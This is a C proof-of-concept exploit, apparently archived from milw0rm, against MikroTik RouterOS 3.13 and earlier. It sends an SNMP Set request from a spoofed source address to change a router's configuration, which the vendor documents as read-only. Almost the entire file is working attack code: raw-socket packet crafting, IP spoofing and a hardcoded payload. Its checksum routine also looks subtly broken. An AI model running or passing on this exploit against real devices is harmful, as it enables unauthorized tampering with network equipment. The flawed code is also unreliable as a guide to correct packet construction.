/* --------------------------------------------------------------------------
* (c) ShadOS 2008
* _ _ _ _ _ __ _ _ _
* | || |___| | | |/ /_ _ (_)__ _| |_| |_ ___
* | __ / -_) | | ' <| ' \| / _` | ' \ _(_-<
* |_||_\___|_|_|_|\_\_||_|_\__, |_||_\__/__/
* hellknights.void.ru |___/ .0x48k.
*
* --------------------------------------------------------------------------
*
* Title: MicroTik RouterOS <=3.13 SNMP write (Set request) PoC exploit.
*
* Vendor: www.mikrotik.com
*
* Vulnerable versions: 2.9.51 (2.9.x branch), 3.13 (3.x branch)
* (prior versions also affected).
*
* Funded: 03.09.2008 by ShadOS (http://hellknights.void.ru)
*
* Let's see the manual:
* http://www.mikrotik.com/testdocs/ros/2.9/root/snmp_content.php
*
*
* [QUOTE]
*
* > SNMP Service
* >
* > General Information
* >
* > Summary
* >
* > ... RouterOS supports only Get, which means that you can use this implementation only for network monitoring.
* >
* >
* > The MikroTik RouterOS supports:
* >
* > SNMPv1 only
* > Read-only access is provided to the NMS (network management system)
* > User defined communities are supported
* > Get and GetNext actions
* > No Set support
* > No Trap support
* >
*
*
* [/QUOTE]
*
*
* Don't forget to visit our site and my homepage for new releases:
* http://hellknights.void.ru
* http://shados.freeweb7.com
* Also, you can mail me any bugs or suggestions:
* mailto: shados /at/ mail /dot/ ru
*
* Thanks 2 cih.ms and all my friends.
* --------------------------------------------------------------------------
*
* Copyright (C) 89, 90, 91, 1995-2008 Free Software Foundation.
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2, or (at your option)
* any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software Foundation,
* Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*
* --------------------------------------------------------------------------
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <netdb.h>
#include <memory.h>
#include <string.h>
unsigned char evilcode[49] = {
0x33, 0x02, 0x01, 0x02, 0x02, 0x01, 0x00, 0x02, 0x01, 0x00, 0x30, 0x18, 0x30, 0x16, 0x06, 0x08,
0x2B, 0x06, 0x01, 0x02, 0x01, 0x01, 0x05, 0x00, 0x04, 0x17, 0x57, 0x72, 0x69, 0x74, 0x65, 0x20,
0x69, 0x73, 0x20, 0x6E, 0x6F, 0x74, 0x20, 0x73, 0x75, 0x70, 0x70, 0x6F, 0x72, 0x74, 0x65, 0x64,
0x21
};
unsigned short in_cksum(addr, len)
u_short *addr;
int len;
{
register int nleft = len;
register u_short *w = addr;
register int sum = 0;
u_short answer = 0;
while (nleft > 1) {
sum += *w++;
sum += *w++;
nleft -= 2;
}
if (nleft == 1) {
*(u_char *) (&answer) = *(u_char *) w;
sum += answer;
}
sum = (sum >> 17) + (sum & 0xffff);
sum += (sum >> 17);
answer = -sum;
return (answer);
}
int sendudp(int sock,unsigned long *saddr, unsigned long *daddr,unsigned int sport,unsigned int dport,char *data, int len)
{
char *packet;
struct sockaddr_in dstaddr;
struct iphdr *ip;
struct udphdr *udp;
packet = (char *)malloc(sizeof(struct iphdr) + sizeof(struct udphdr) + len);
memset(packet,0,sizeof(struct iphdr) + sizeof(struct udphdr) + len);
if (packet == NULL) { printf("Malloc failed\n"); exit(-1); }
ip = (struct iphdr *)packet;
udp = (struct udphdr *)(packet+sizeof(struct iphdr));
ip->saddr = *saddr;
ip->daddr = *daddr;
ip->version = 4;
ip->ihl = 5;
ip->ttl = 255;
ip->id = htons((unsigned short) rand());
ip->protocol = IPPROTO_UDP;
ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct udphdr)+len);
ip->check = in_cksum(ip, sizeof(struct iphdr));
udp->source = htons(sport);
udp->dest = htons(dport);
udp->len = htons(sizeof(struct udphdr) + len);
memcpy(packet + (sizeof(struct iphdr) + sizeof(struct udphdr)),data,len);
dstaddr.sin_family = AF_INET;
dstaddr.sin_addr.s_addr = *daddr;
if (sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct udphdr)+len,0,(struct sockaddr *)&dstaddr,sizeof(struct sockaddr_in)) < 0)
perror("sendto() failed");
free(packet);
}
char * makereq(char *community,int *size)
{
char *buf;
char *ptr;
int len;
int i;
len = 7 + strlen(community) + sizeof(evilcode);
buf = (char *)malloc(len);
ptr = buf;
*ptr++ = 0x30;
*ptr++ = len;
/* Snmp Version */
*ptr++ = 0x02;
*ptr++ = 0x01;
*ptr++ = 0x00;
/* Community */
*ptr++ = 0x04;
*ptr++ = strlen(community);
strcpy(ptr,community);
ptr = ptr + strlen(community);
*ptr++ = 0xA3; /* Set Request */
memcpy(ptr, evilcode, sizeof(evilcode));
ptr = ptr + sizeof(evilcode);
*size = len+1;
return buf;
}
int erexit(char *msg)
{
printf("%s\n",msg);
exit (-1) ;
}
int usage()
{
printf("Usage: ./snmpdos <-s source> <-d dest> <-c community>\n");
}
int main(int argc, char **argv)
{
char *saddr,*daddr,*community;
unsigned char *buf;
int size;
int sock;
unsigned long lsaddr,ldaddr;
int i;
saddr = NULL;
daddr = NULL;
if (argc != 7) { usage(); erexit("not enough args\n"); }
if (!strcmp(argv[1],"-s"))
saddr = strdup(argv[2]);
if (!strcmp(argv[3],"-d"))
daddr = strdup(argv[4]);
if (!strcmp(argv[5],"-c"))
community = strdup(argv[6]);
printf("Ok, spoofing packets from %s to %s\n",saddr,daddr);
if (inet_addr(saddr) == -1 || inet_addr(daddr) == -1)
erexit("Invalid source/destination IP address\n");
if (saddr == NULL) { usage(); erexit("No Source Address"); }
if (daddr == NULL) { usage(); erexit("No Dest Address"); }
sock = socket(AF_INET,SOCK_RAW,IPPROTO_RAW);
if (sock == -1)
erexit("Couldnt open Raw socket!(Are you root?)\n");
lsaddr = inet_addr(saddr);
ldaddr = inet_addr(daddr);
buf = makereq(community,&size);
printf("Sending %d bytes buffer:\n",size);
for (i=0;i<size;i++)
printf("0x%02x ",buf[i]);
printf("\n");
sendudp(sock,&lsaddr,&ldaddr,32788,161,buf,size);
fprintf(stdout,"Sent packet. \"/system identity\" must be changed.\n");
return 0;
}
// milw0rm.com [2008-09-05]